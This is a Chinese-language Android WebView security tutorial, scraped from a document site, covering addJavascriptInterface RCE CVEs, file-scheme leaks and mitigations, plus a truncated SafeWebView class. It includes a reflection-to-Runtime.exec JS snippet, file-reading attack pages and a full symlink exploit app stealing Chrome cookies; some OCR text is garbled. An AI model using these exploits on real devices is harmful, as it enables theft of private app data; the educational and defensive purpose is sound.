android WebView詳解,常見漏洞詳解和安全源碼(下)_第1頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第2頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第3頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第4頁
android WebView詳解,常見漏洞詳解和安全源碼(下)_第5頁
已閱讀5頁,還剩21頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

androidWebView詳解,常見漏洞詳解和安全源碼(下)WebView常見漏洞WebView的漏洞也是不少,列舉一些常見的漏洞,實(shí)時(shí)更新,如果有其他的常見漏洞知會(huì)一下我??WebView任意代碼執(zhí)行漏洞已知的WebView任意代碼執(zhí)行漏洞有4個(gè),較早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會(huì)引起遠(yuǎn)程代碼執(zhí)行漏洞。接著是CVE-2013-4710,針對(duì)某些特定機(jī)型會(huì)存在addJavascriptInterfaceAPI引起的遠(yuǎn)程代碼執(zhí)行漏洞。之后是CVE-2014-1939爆出WebView中內(nèi)置導(dǎo)出的“searchBoxJavaBridge_”JavaObject可能被利用,實(shí)現(xiàn)遠(yuǎn)程任意代碼。再后來是CVE-2014-7224,類似于CVE-2014-1939,WebView內(nèi)置導(dǎo)出“accessibility”和“accessibilityTraversal”兩個(gè)JavaObject接口,可被利用實(shí)現(xiàn)遠(yuǎn)程任意代碼執(zhí)行。一般情況下,WebView使用JavaScript腳本的代碼如下所示:WebViewmWebView=(WebView)findViewById(R.id.webView);WebSettingsmsetting=mWebView.getSettings();msetting.setJavaScriptEnabled(true);mWebView.addJavascriptInterface(newTestJsInterface(),“testjs”);mWebView.loadUrl(url);CVE-2012-6636和CVE-2013-4710Android系統(tǒng)為了方便APP中Java代碼和網(wǎng)頁中的Javascript腳本交互,在WebView控件中實(shí)現(xiàn)了addJavascriptInterface接口,如上面的代碼所示,我們來看一下這個(gè)方法的官方描述:ThismethodcanbeusedtoallowJavaScripttocontrolthehostapplication.Thisisapowerfulfeature,butalsopresentsasecurityriskforappstargetingJELLY_BEANorearlier.AppsthattargetaversionlaterthanJELLY_BEANarestillvulnerableiftheapprunsonadevicerunningAndroidearlierthan4.2.ThemostsecurewaytousethismethodistotargetJELLY_BEAN_MR1andtoensurethemethodiscalledonlywhenrunningonAndroid4.2orlater.Withtheseolderversions,JavaScriptcouldusereflectiontoaccessaninjectedobject'spublicfields.UseofthismethodinaWebViewcontaininguntrustedcontentcouldallowanattackertomanipulatethehostapplicationinunintendedways,executingJavacodewiththepermissionsofthehostapplication.UseextremecarewhenusingthismethodinaWebViewwhichcouldcontainuntrustedcontent.JavaScriptinteractswithJavaobjectonaprivate,backgroundthreadofthisWebView.Careisthereforerequiredtomaintainthreadsafety.TheJavaobject'sfieldsarenotaccessible.ForapplicationstargetedtoAPIlevelLOLLIPOPandabove,methodsofinjectedJavaobjectsareenumerablefromJavaScript.可以看到,在JELLY_BEAN(android4.1)和JELLY_BEAN之前的版本中,使用這個(gè)方法是不安全的,網(wǎng)頁中的JS腳本可以利用接口“testjs”調(diào)用App中的Java代碼,而Java對(duì)象繼承關(guān)系會(huì)導(dǎo)致很多Public的函數(shù)及getClass函數(shù)都可以在JS中被訪問,結(jié)合Java的反射機(jī)制,攻擊者還可以獲得系統(tǒng)類的函數(shù),進(jìn)而可以進(jìn)行任意代碼執(zhí)行,首先第一步WebView添加Javascript對(duì)象,并且添加一些權(quán)限,比如想要獲取SD卡上面的信息就需要android.permission.WRITE_EXTERNAL_STORAGE;第二步JS中可以遍歷window對(duì)象,找到存在getClass方法的對(duì)象,再通過反射的機(jī)制,得到Runtime對(duì)象,然后就可以調(diào)用靜態(tài)方法來執(zhí)行一些命令,比如訪問文件的命令;第三步就是從執(zhí)行命令后返回的輸入流中得到字符串,比如執(zhí)行完訪問文件的命令之后,就可以得到文件名的信息了,有很嚴(yán)重暴露隱私的危險(xiǎn),核心JS代碼:functionexecute(cmdArgs){for(varobjinwindow){if("getClass"inwindow[obj]){alert(obj);returnwindow[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}}}所以當(dāng)一些APP通過掃描二維碼打開一個(gè)外部網(wǎng)頁的時(shí)候,就可以執(zhí)行這段js代碼,漏洞在2013年8月被披露后,很多APP都中招,其中瀏覽器APP成為重災(zāi)區(qū),但截至目前仍有很多APP中依然存在此漏洞,與以往不同的只是攻擊入口發(fā)生了一定的變化。另外一些小廠商的APP開發(fā)團(tuán)隊(duì)因?yàn)槿狈Π踩庾R(shí),依然還在APP中隨心所欲的使用addJavascriptInterface接口,明目張膽踩雷。出于安全考慮,Google在API17版本中就規(guī)定能夠被調(diào)用的函數(shù)必須以@JavascriptInterface進(jìn)行注解,理論上如果APP依賴的API為17(Android4.2)或者以上,就不會(huì)受該問題的影響,但在部分低版本的機(jī)型上,API17依然受影響,所以危害性到目前為止依舊不小。關(guān)于所有Android機(jī)型的占比,可以看看Google的Dashboards:VersionCodenameAPtDistribulion2.332.3.7Gingerbread101,0%-4.034.0.4IceCreamSandwich157.傀4.1.xJellyB&an164.0%4.2.x174.3185.7%4-AKitKat1922.6%50Lollipop2110.1%5.12523.3%5.0Marshmanow2379.6%70忡ougal24OS%截止2017/1/9日,可以看到android5.0之下的手機(jī)依舊不少,需要重視。漏洞的解決但是這個(gè)漏洞也是有解決方案的,上面的很多地方也都提到了這個(gè)漏洞,那么這個(gè)漏洞怎么去解決呢?這就需要用到onJsPrompt這個(gè)方法了,這里先給出解決這個(gè)漏洞的具體步驟,在下面的源碼部分有修復(fù)這個(gè)漏洞的詳細(xì)代碼:繼承WebView,重寫addJavascriptInterface方法,然后在內(nèi)部自己維護(hù)一個(gè)對(duì)象映射關(guān)系的Map,當(dāng)調(diào)用addJavascriptInterface方法,將需要添加的JS接口放入這個(gè)Map中;每次當(dāng)WebView加載頁面的時(shí)候加載一段本地的JS代碼:javascript:(functionJsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_nameisexist!!');}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){returnprompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}))},};}})()這段JS代碼定義了注入的格式,其中的XXX為注入對(duì)象的方法名字,終端和web端只要按照定義的格式去互相調(diào)用即可,如果這個(gè)對(duì)象有多個(gè)方法,則會(huì)注冊(cè)多個(gè)window.XXX_js_interface_name塊;然后在prompt中返回我們約定的字符串,當(dāng)然這個(gè)字符串也可以自己重新定義,它包含了特定的標(biāo)識(shí)符MyApp,后面包含了一串JSON字符串,它包含了方法名,參數(shù),對(duì)象名等;當(dāng)JS調(diào)用XXX方法的時(shí)候,就會(huì)調(diào)用到終端Native層的OnJsPrompt方法中,我們?cè)俳馕龀龇椒?,參?shù),對(duì)象名等,解析出來之后進(jìn)行相應(yīng)的處理,同時(shí)返回值也可以通過prompt返回回去;window.XXX_js_interface_name代表在window上聲明了一個(gè)對(duì)象,聲明的方式是:方法名:function(參數(shù)1,參數(shù)2)。還有一個(gè)問題是什么時(shí)候加載這段JS呢,在WebView正常加載URL的時(shí)候去加載它,但是會(huì)發(fā)現(xiàn)當(dāng)WebView跳轉(zhuǎn)到下一個(gè)頁面時(shí),之前加載的JS可能就已經(jīng)無效了,需要再次加載,所以通常需要在一下幾個(gè)方法中加載JS,這幾個(gè)方法分別是onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。 通過這幾步,就可以簡(jiǎn)單的修復(fù)漏洞問題,但是還需要注意幾個(gè)問題,需要過濾掉Object類的方法,由于通過反射的形式來得到指定對(duì)象的方法,所以基類的方法也可以得到,最頂層的基類就是Object,為了不把getClass等方法注入到JS中,我們需要把Object的共有方法過濾掉,需要過濾的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,A“toString”,“wait”,具體的代碼實(shí)現(xiàn)可以看看下面的源碼。CVE-2014-1939在2014年發(fā)現(xiàn)在Android4.4以下的系統(tǒng)中,webkit中默認(rèn)內(nèi)置了“searchBoxJavaBridge_”,代碼位于“java/android/webkit/BrowserFrame.java”,該接口同樣存在遠(yuǎn)程代碼執(zhí)行的威脅,所以就算沒有通過addJavascriptInterface加入任何的對(duì)象,系統(tǒng)也會(huì)加入一個(gè)searchBoxJavaBridge_對(duì)象,解決辦法就是通過removeJavascriptInterface方法將對(duì)象刪除。CVE-2014-7224在2014年,研究人員DaoyuanWu和RockyChang發(fā)現(xiàn),當(dāng)系統(tǒng)輔助功能服務(wù)被開啟時(shí),在Android4.4以下的系統(tǒng)中,由系統(tǒng)提供的WebView組件都默認(rèn)導(dǎo)出”accessibility”和”accessibilityTraversal”這兩個(gè)接口,代碼位于“android/webkit/AccessibilityInjector.java”,這兩個(gè)接口同樣存在遠(yuǎn)程任意代碼執(zhí)行的威脅,同樣的需要通過removeJavascriptInterface方法將這兩個(gè)對(duì)象刪除。WebView密碼明文存儲(chǔ)漏洞WebView默認(rèn)開啟密碼保存功能mWebView.setSavePassword(true)如果該功能未關(guān)閉,在用戶輸入密碼時(shí),會(huì)彈出提示框,詢問用戶是否保存密碼,如果選擇”是”,密碼會(huì)被明文保到/data/data//databases/webview.db中,這樣就有被盜取密碼的危險(xiǎn),所以需要通過WebSettings.setSavePassword(false)關(guān)閉密碼保存提醒功能。WebView域控制不嚴(yán)格漏洞下,這個(gè)APP中有一個(gè)頁面叫做WebViewActivity:publicclassWebViewActivityextendsActivity{privateWebViewwebView;publicvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);setContentView(R.layout.activity_webview);webView=(WebView)findViewById(R.id.webView);//webView.getSettings().setJavaScriptEnabled(true);(0)//webView.getSettings().setAllowFileAccess(false); (1)//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)//webView.getSettings().setAllowUniversalAccessFromFileURLs(true);(3)Intenti=getIntent();Stringurl=i.getData().toString();//url=file:///data/local/tmp/attack.htmlwebView.loadUrl(url);}}將該WebViewActivity設(shè)置為exported=”true”,當(dāng)其他應(yīng)用啟動(dòng)此Activity時(shí),intent中的data直接被當(dāng)作url來加載(假定傳進(jìn)來的url為file:///data/local/tmp/attack.html),通過其他APP使用顯式ComponentName或者其他類似方式就可以很輕松的啟動(dòng)該WebViewActivity,我們知道因?yàn)锳ndroid中的sandbox,Android中的各應(yīng)用是相互隔離的,在一般情況下A應(yīng)用是不能訪問B應(yīng)用的文件的,但不正確的使用WebView可能會(huì)打破這種隔離,從而帶來應(yīng)用數(shù)據(jù)泄露的威脅,即A應(yīng)用可以通過B應(yīng)用導(dǎo)出的Activity讓B應(yīng)用加載一個(gè)惡意的file協(xié)議的url,從而可以獲取B應(yīng)用的內(nèi)部私有文件,下面我們著重分析這幾個(gè)API對(duì)WebView安全性的影響。setAllowFileAccessEnablesordisablesfileaccesswithinWebView.Fileaccessisenabledbydefault.Notethatthisenablesordisablesfilesystemaccessonly.Assetsandresourcesarestillaccessibleusingfile:///android_assetandfile:///android_res.通過這個(gè)API可以設(shè)置是否允許WebView使用File協(xié)議,Android中默認(rèn)setAllowFileAccess(true),所以默認(rèn)值是允許,在File域下,能夠執(zhí)行任意的JavaScript代碼,APP嵌入的WebView未對(duì)HYPERLINKfile:///形式的URL做限制,所以使用file域加載的js能夠使用同源策略跨域訪問導(dǎo)致隱私信息泄露,針對(duì)IM類軟件會(huì)導(dǎo)致聊天信息、聯(lián)系人等等重要信息泄露,針對(duì)瀏覽器類軟件,則更多的是cookie信息泄露。如果不允許使用file協(xié)議,則不會(huì)存在下面將要講到的各種跨源的安全威脅,但同時(shí)也限制了WebView的功能,使其不能加載本地的html文件。禁用file協(xié)議后,讓W(xué)ebViewActivity打開attack.html會(huì)得到如下圖所示的輸出,圖中所示的文件是存在的,但WebView禁止加載此文件,移動(dòng)版的Chrome默認(rèn)禁止加載file協(xié)議的文件。m:nnn那么怎么解決呢,不要著急,繼續(xù)往下看-setAllowFileAccessFromFileURLsSetswhetherJavaScriptrunninginthecontextofafileschemeURLshouldbeallowedtoaccesscontentfromotherfileschemeURLs.Toenablethemostrestrictive,andthereforesecurepolicy,thissettingshouldbedisabled.NotethatthevalueofthissettingisignoredifthevalueofgetAllowUniversalAccessFromFileURLs()istrue.Notetoo,thatthissettingaffectsonlyJavaScriptaccesstofileschemeresources.Otheraccesstosuchresources,forexample,fromimageHTMLelements,isunaffected.TopreventpossibleviolationofsamedomainpolicyonICE_CREAM_SANDWICHandearlierdevices,youshouldexplicitlysetthisvaluetofalse.ThedefaultvalueistrueforAPIlevelICE_CREAM_SANDWICH_MR1andbelow,andfalseforAPIlevelJELLY_BEANandabove.通過此API可以設(shè)置是否允許通過fileurl加載的Javascript讀取其他的本地文件,這個(gè)設(shè)置在JELLY_BEAN(android4.1)以前的版本默認(rèn)是允許,在JELLY_BEAN及以后的版本中默認(rèn)是禁止的。當(dāng)AllowFileAccessFromFileURLs設(shè)置為true時(shí),對(duì)應(yīng)上面的attack.html代碼為:<script>functionloadXMLDoc(){vararm="file:///etc/hosts";varxmlhttp;if(window.XMLHttpRequest){xmlhttp=newXMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("statusis"+xmlhttp.status);if(xmlhttp.readyState==4){console.log(xmlhttp.responseText);}}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>,此時(shí)通過這段代碼就可以成功讀取/etc/hosts的內(nèi)容,最顯著的例子就是360手機(jī)瀏覽器的早期4.8版本,由于未對(duì)file域做安全限制,惡意APP調(diào)用360瀏覽器加載本地的攻擊頁面(比如惡意APP釋放到sd卡上的一個(gè)html)后,就可以獲取360手機(jī)瀏覽器下的所有私有數(shù)據(jù),包括webviewCookiesChromium.db下的Cookie內(nèi)容,但是如果設(shè)置為false時(shí),上述腳本執(zhí)行會(huì)導(dǎo)致如下錯(cuò)誤,表示瀏覽器禁止從fileurl中的javascript讀取其它本地文件:I/chromium(27749):[INFO:CONSOLE(0)]“XMLHttpRequestcannotloadfile:///etc/hosts.CrossoriginrequestsareonlysupportedforHTTP.”,source:file:///data/local/tmp/attack.htmlsetAllowUniversalAccessFromFileURLs通過此API可以設(shè)置是否允許通過fileurl加載的Javascript可以訪問其他的源,包括其他的文件和http,https等其他的源。這個(gè)設(shè)置在JELLY_BEAN以前的版本默認(rèn)是允許,在JELLY_BEAN及以后的版本中默認(rèn)是禁止的。如果此設(shè)置是允許,則setAllowFileAccessFromFileURLs不起做用,此時(shí)修改attack.html的代碼:<script>functionloadXMLDoc(){vararm="";varxmlhttp;if(window.XMLHttpRequest){xmlhttp=newXMLHttpRequest();}xmlhttp.onreadystatechange=function(){//alert("statusis"+xmlhttp.status);if(xmlhttp.readyState==4){console.log(xmlhttp.responseText);}xmlhttp.open("GET",arm);xmlhttp.send(null);}loadXMLDoc();</script>當(dāng)AllowFileAccessFromFileURLs為true時(shí),上述javascript可以成功讀取的內(nèi)容,但設(shè)置為false時(shí),上述腳本執(zhí)行會(huì)導(dǎo)致如下錯(cuò)誤,表示瀏覽器禁止從fileurl中的javascript訪問其他源的資源:I/chromium(28336):[INFO:CONSOLE(0)]“XMLHttpRequestcannotload/.OriginnullisnotallowedbyAccess-Control-Allow-Origin.”,source:file:///data/local/tmp/attack.html以上漏洞的初步解決方案通過以上的介紹,初步的方案是使用下面的代碼來杜絕:setAllowFileAccess(true); //設(shè)置為false將不能加載本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);這樣就可以讓html頁面加載本地的javascript,同時(shí)杜絕加載的js訪問本地的文件或者讀取其他的源,不是就OK了么,而且在JELLY_BEAN(android4.1)版本以及之后不是都默認(rèn)為false了么,其實(shí)不然,我們繼續(xù)往下看其他漏洞。使用符號(hào)鏈接跨源為了安全的使用WebView,AllowUniversalAccessFromFileURLs和AllowFileAccessFromFileURLs都應(yīng)該設(shè)置為禁止,在JELLY_BEAN(android4.1)及以后的版本中這兩項(xiàng)設(shè)置默認(rèn)也是禁止的,但是即使把這兩項(xiàng)都設(shè)置為false,通過fileURL加載的javascript仍然有方法訪問其他的本地文件,通過符號(hào)鏈接攻擊可以達(dá)到這一目的,前提是允許fileURL執(zhí)行javascript。這一攻擊能奏效的原因是無論怎么限制file協(xié)議的同源檢查,其javascript都應(yīng)該能訪問當(dāng)前的文件,通過javascript的延時(shí)執(zhí)行和將當(dāng)前文件替換成指向其它文件的軟鏈接就可以讀取到被符號(hào)鏈接所指的文件,具體攻擊步驟見Chromiumbug144866,下面也貼出了代碼和詳解。因?yàn)镃hrome最新版本默認(rèn)禁用file協(xié)議,所以這一漏洞在最新版的Chrome中并不存在,Google也并沒有修復(fù)它,但是大量使用WebView的應(yīng)用和瀏覽器,都有可能受到此漏洞的影響,通過利用此漏洞,無特殊權(quán)限的惡意APP可以盜取瀏覽器的任意私有文件,包括但不限于Cookie、保存的密碼、收藏夾和歷史記錄,并可以將所盜取的文件上傳到攻擊者的服務(wù)器。下圖為通過fileURL讀取某手機(jī)瀏覽器Cookie的截圖:截圖將Cookiealert出來了,實(shí)際情況可以上傳到服務(wù)器,攻擊的詳細(xì)代碼如下所示:publicclassMainActivityextendsAppCompatActivity{publicfinalstaticStringMY_PKG="com.example.safewebview";publicfinalstaticStringMY_TMP_DIR="/data/data/"+MY_PKG+"/tmp/";publicfinalstaticStringHTML_PATH=MY_TMP_DIR+"A"+Math.random()+".html";publicfinalstaticStringTARGET_PKG="com.android.chrome";publicfinalstaticStringTARGET_FILE_PATH="/data/data/"+TARGET_PKG+"/app_chrome/Default/Cookies";publicfinalstaticStringHTML="<body>"+"<u>Waitafewseconds.</u>"+"<script>"+"vard=document;"+"functiondoitjs(){"+"varxhr=newXMLHttpRequest;"+"xhr.onload=function(){"+"vartxt=xhr.responseText;"+"d.body.appendChild(d.createTextNode(txt));"+" alert(txt);"+"};"+"xhr.open('GET',d.URL);"+"xhr.send(null);"+"}"+"setTimeout(doitjs,8000);"+"</script>"+"</body>";@OverridepublicvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);doit();publicvoiddoit(){try{//CreateamaliciousHTMLcmdexec("mkdir"+MY_TMP_DIR);cmdexec("echo\""+HTML+"\">"+HTML_PATH);cmdexec("chmod-R777"+MY_TMP_DIR);Thread.sleep(1000);//ForceChrometoloadthemaliciousHTMLinvokeChrome("file://"+HTML_PATH);Thread.sleep(4000);//ReplacetheHTMLwithasymlinktoChrome'sCookiefilecmdexec("rm"+HTML_PATH);cmdexec("ln-s"+TARGET_FILE_PATH+""+HTML_PATH);}catch(Exceptione){}}publicvoidinvokeChrome(Stringurl){Intentintent=newIntent(Intent.ACTION_VIEW,Uri.parse(url));intent.setClassName(TARGET_PKG,TARGET_PKG+".Main");startActivity(intent);}publicvoidcmdexec(Stringcmd){try{String[]tmp=newString[]{"/system/bin/sh","-c",cmd};Runtime.getRuntime().exec(tmp);}catch(Exceptione){}}}這就是使用符號(hào)鏈接跨源獲取私有文件的代碼,應(yīng)該不難讀懂,首先把惡意的js代碼輸出到攻擊應(yīng)用的目錄下,隨機(jī)命名為xx.htm1,并且修改該目錄的權(quán)限,修改完成之后休眠Is,讓文件操作完成,完成之后通過系統(tǒng)的Chrome應(yīng)用去打開這個(gè)xx.html文件,然后等待4s讓Chrome加載完成該html,最后將該html刪除,并且使用ln-s命令為Chrome的Cookie文件創(chuàng)建軟連接,注意,在這條命令執(zhí)行之前xx.htm1是不存在的,執(zhí)行完這條命令之后,就生成了這個(gè)文件,并且將Cookie文件鏈接到了xx.html上,于是就可以通過鏈接來訪問Chrome的Cookie了。setJavaScriptEnabled通過此API可以設(shè)置是否允許WebView使用JavaScript,默認(rèn)是不允許,但很多應(yīng)用,包括移動(dòng)瀏覽器為了讓W(xué)ebView執(zhí)行http協(xié)議中的JavaScript,都會(huì)主動(dòng)設(shè)置允許WebView執(zhí)行JavaScript,而又不會(huì)對(duì)不同的協(xié)議區(qū)別對(duì)待,比較安全的實(shí)現(xiàn)是如果加載的url是http或https協(xié)議,則啟用JavaScript,如果是其它危險(xiǎn)協(xié)議,比如是file協(xié)議,則禁用JavaScript。如果是file協(xié)議,禁用javascript可以很大程度上減小跨源漏洞對(duì)WebView的威脅,但是此時(shí)禁用JavaScript的執(zhí)行并不能完全杜絕跨源文件泄露。例如,有的應(yīng)用實(shí)現(xiàn)了下載功能,對(duì)于加載不了的頁面,會(huì)自動(dòng)下載到sd卡中,由于sd卡中的文件所有應(yīng)用都可以訪問,于是可以通過構(gòu)造一個(gè)fileURL指向被攻擊應(yīng)用的私有文件,然后用此URL啟動(dòng)被攻擊應(yīng)用的WebActivity,這樣由于該WebActivity無法加載該文件,就會(huì)將該文件下載到sd卡下面,然后就可以從sd卡上讀取這個(gè)文件了,當(dāng)然這種應(yīng)用比較少,這個(gè)也算是應(yīng)用自身無意產(chǎn)生的一個(gè)漏洞吧。以上漏洞的解決方案針對(duì)WebView域控制不嚴(yán)格漏洞的安全建議如下:對(duì)于不需要使用file協(xié)議的應(yīng)用,禁用file協(xié)議;對(duì)于需要使用file協(xié)議的應(yīng)用,禁止file協(xié)議加載JavaScript。所以兩種解決辦法,第一種類似Chrome,直接禁止file協(xié)議:setAllowFileAccess(false); //設(shè)置為false將不能加載本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);第二種是根據(jù)不同情況不同處理(無法避免應(yīng)用對(duì)于無法加載的頁面下載到sd卡上這個(gè)漏洞):setAllowFileAccess(true); //設(shè)置為false將不能加載本地html文件setAllowFileAccessFromFileURLs(false);setAllowUniversalAccessFromFileURLs(false);if(url.startsWith("file://"){setJavaScriptEnabled(false);}else{setJavaScriptEnabled(true);}開發(fā)中遇見的坑這里記錄一下開發(fā)中遇到的一些坑和解決辦法:loadData()方法我們可以通過使用WebView.loadData(Stringdata,StringmimeType,Stringencoding)方法來加載一整個(gè)HTML頁面的一小段內(nèi)容,第一個(gè)就是我們需要WebView展示的內(nèi)容,第二個(gè)是我們告訴WebView我們展示內(nèi)容的類型,一般,第三個(gè)是字節(jié)碼,但是使用的時(shí)候,這里會(huì)有一些坑,我們來看一個(gè)簡(jiǎn)單的例子:Stringhtml=newString("vh3>我是loadData()的標(biāo)題</h3>vp>  我是他的內(nèi)容</p>");webView.loadData(html,"text/html","UTF-8");這里的邏輯很簡(jiǎn)單,加載一個(gè)簡(jiǎn)單的富文本標(biāo)簽,我們看看運(yùn)行后的效果:勒E£Q6:09WebViewProjecta&'Rae~_loadDatar4*i^%?psHae^eCae"'ae八加-陰億仁冶?*書可以注意到這里顯示成亂碼了,可是明明已經(jīng)指定了編碼格式為UTF-8啊,可是這就是使用的坑,我們需要將代碼進(jìn)行修改:Stringhtml=newString("<h3>我是loadData()的標(biāo)題</h3><p>  我是他的內(nèi)容</p>");webView.loadData(html,"text/html;charset=UTF-8","null");我們?cè)賮砜纯达@示效果:<r*n滾“ 06:12WebViewProject我是toadData()的標(biāo)題我宦他的內(nèi)容!這樣我們就可以看到正確的內(nèi)容了,Google還指出,在我們這種加載的方法下,我們的Data數(shù)據(jù)里不能出現(xiàn)'#',‘%',‘\',‘?'這四個(gè)字符,如果出現(xiàn)了我們要用%23,%25,%27,%3f對(duì)應(yīng)來替代,網(wǎng)上列舉了未將特定字符轉(zhuǎn)義過程中遇到的異?,F(xiàn)象:%會(huì)報(bào)找不到頁面錯(cuò)誤,頁面全是亂碼。#會(huì)讓你的goBack失效,但canGoBAck是可以使用的,于是就會(huì)產(chǎn)生返回按鈕生效,但不能返回的情況。\和?在轉(zhuǎn)換時(shí),會(huì)報(bào)錯(cuò),因?yàn)樗鼤?huì)把\當(dāng)作轉(zhuǎn)義符來使用,如果用兩級(jí)轉(zhuǎn)義也不生效。我們?cè)谑褂胠oadData()時(shí),就意味著需要把所有的非法字符全部轉(zhuǎn)換掉,這樣就會(huì)給運(yùn)行速度帶來很大的影響,因?yàn)樵谑褂脮r(shí),很多情況下頁面stytle中會(huì)使用很多‘%'號(hào),頁面的數(shù)據(jù)越多,運(yùn)行的速度就會(huì)越慢。頁面空白當(dāng)WebView嵌套在ScrollView里面的時(shí)候,如果WebView先加載了一個(gè)高度很高的網(wǎng)頁,然后加載了一個(gè)高度很低的網(wǎng)頁,就會(huì)造成WebView的高度無法自適應(yīng),底部出現(xiàn)大量空白的情況出現(xiàn),內(nèi)存泄漏WebView的內(nèi)存泄漏是一個(gè)比較大的問題,尤其是當(dāng)加載的頁面比較龐大的時(shí)候,解決方法網(wǎng)上也比較多,但是看情況大部分都不是能徹底根治的,這里說一下QQ和微信的做法,每當(dāng)打開一個(gè)WebView界面的時(shí)候,會(huì)開啟一個(gè)新進(jìn)程,在頁面退出之后通過System.exit(0)關(guān)閉這個(gè)進(jìn)程,這樣就不會(huì)存在內(nèi)存泄漏的問題了,setBuiltInZoomControls引起的Crash當(dāng)使用mWebView.getSettings().setBuiltInZoomControls(true)啟用該設(shè)置后,用戶一旦觸摸屏幕,就會(huì)出現(xiàn)縮放控制圖標(biāo)。這個(gè)圖標(biāo)過上幾秒會(huì)自動(dòng)消失,但在3.0之上4.4系統(tǒng)之下很多手機(jī)會(huì)出現(xiàn)這種情況:如果圖標(biāo)自動(dòng)消失前退出當(dāng)前Activity的話,就會(huì)發(fā)生ZoomButton找不到依附的Window而造成程序崩潰,解決辦法很簡(jiǎn)單就是在Activity的onDestory方法中調(diào)用mWebView.setVisibility(View.GONE);方法,手動(dòng)將其隱藏,就不會(huì)崩潰了。后臺(tái)無法釋放JS導(dǎo)致耗電如果WebView加載的的html里有一些JS一直在執(zhí)行比如動(dòng)畫之類的東西,如果此刻WebView掛在了后臺(tái),這些資源是不會(huì)被釋放,用戶也無法感知,導(dǎo)致一直占有CPU增加耗電量,如果遇到這種情況,在onStop和onResume里分別把setJavaScriptEnabled()給設(shè)置成false和true即可。源碼及解析來看看解決上述問題的WebView源碼:publicclassSafeWebViewextendsWebView{privatestaticfinalbooleanDEBUG=true;privatestaticfinalStringVAR_ARG_PREFIX="arg";privatestaticfinalStringMSG_PROMPT_HEADER="MyApp:";/***對(duì)象名*/privatestaticfinalStringKEY_INTERFACE_NAME="obj";/***函數(shù)名*/privatestaticfinalStringKEY_FUNCTION_NAME="func";/***參數(shù)數(shù)組*/privatestaticfinalStringKEY_ARG_ARRAY="args";/***要過濾的方法數(shù)組*/privatestaticfinalString[]mFilterMethods={"getClass","hashCode","notify","notifyAll","equals","toString","wait",};/***緩存addJavascriptInterface的注冊(cè)對(duì)象*/privateHashMap<String,Object>mJsInterfaceMap=newHashMap<>();/***緩存注入到JavaScriptContext的js腳本*/privateStringmJsStringCache=null;publicSafeWebView(Contextcontext,AttributeSetattrs,intdefStyle){super(context,attrs,defStyle);init();}publicSafeWebView(Contextcontext,AttributeSetattrs){super(context,attrs);init();}publicSafeWebView(Contextcontext){super(context);init();/***WebView初始化,設(shè)置監(jiān)聽,刪除部分Android默認(rèn)注冊(cè)的JS接口*/privatevoidinit(){setWebChromeClient(newWebChromeClientEx());setWebViewClient(newWebViewClientEx());safeSetting();removeUnSafeJavascriptImpl();}/***安全性設(shè)置*/privatevoidsafeSetting(){getSettings().setSavePassword(false);getSettings().setAllowFileAccess(false);〃設(shè)置為false將不能加載本地 html文件if(Build.VERSION.SDK_INT>=16){getSettings().setAllowFileAccessFromFileURLs(false);getSettings().setAllowUniversalAccessFromFileURLs(false);}}/***檢查SDK版本是否>=3.0(API11)*/privatebooleanhasHoneycomb(){returnBuild.VERSION.SDK_INT>=Build.VERSION_CODES.HONEYCOMB;}/***檢查SDK版本是否>=4.2(API17)*/privatebooleanhasJellyBeanMR1(){return Build.VERSION.SDK_INT >=Build.VERSION_CODES.JELLY_BEAN_MR1;}/***3.0~4.2之間的版本需要移除Google注入的幾個(gè)對(duì)象*/@SuppressLint("NewApi")privatebooleanremoveUnSafeJavascriptImpl(){if(hasHoneycomb()&&!hasJellyBeanMR1()){super.removeJavascriptInterface("searchBoxJavaBridge_");super.removeJavascriptInterface("accessibility");super.removeJavascriptInterface("accessibilityTraversal");returntrue;}returnfalse;}@OverridepublicvoidsetWebViewClient(WebViewClientclient){if(hasJellyBeanMR1()){super.setWebViewClient(client);}else{if(clientinstanceofWebViewClientEx){super.setWebViewClient(client);}elseif(client==null){super.setWebViewClient(client);}else{thrownewIllegalArgumentException("the\'client\'mustbeasubclassofthe\'WebViewClientEx\'");}}}@OverridepublicvoidsetWebChromeClient(WebChromeClientclient){if(hasJellyBeanMR1()){super.setWebChromeClient(client);}else{if(clientinstanceofWebChromeClientEx){super.setWebChromeClient(client);}elseif(client==null){super.setWebChromeClient(client);}else{thrownewIllegalArgumentException("the\'client\'mustbeasubclassofthe\'WebChromeClientEx\'");}/***如果版本大于4.2,漏洞已經(jīng)被解決,直接調(diào)用基類的addJavascriptInterface*如果版本小于4.2,則使用map緩存待注入對(duì)象*/@SuppressLint("JavascriptInterface")@OverridepublicvoidaddJavascriptInterface(Objectobj,StringinterfaceName){if(TextUtils.isEmpty(interfaceName)){return;}//如果在4.2以上,直接調(diào)用基類的方法來注冊(cè)if(hasJellyBeanMR1()){super.addJavascriptInterface(obj,interfaceName);}else{mJsInterfaceMap.put(interfaceName,obj);}}/***刪除待注入對(duì)象,*如果版本為4.2以及4.2以上,則使用父類的removeJavascriptInterface*如果版本小于4.2,則從緩存map中刪除注入對(duì)象*/@SuppressLint("NewApi")publicvoidremoveJavascriptInterface(StringinterfaceName){if(hasJellyBeanMR1()){super.remove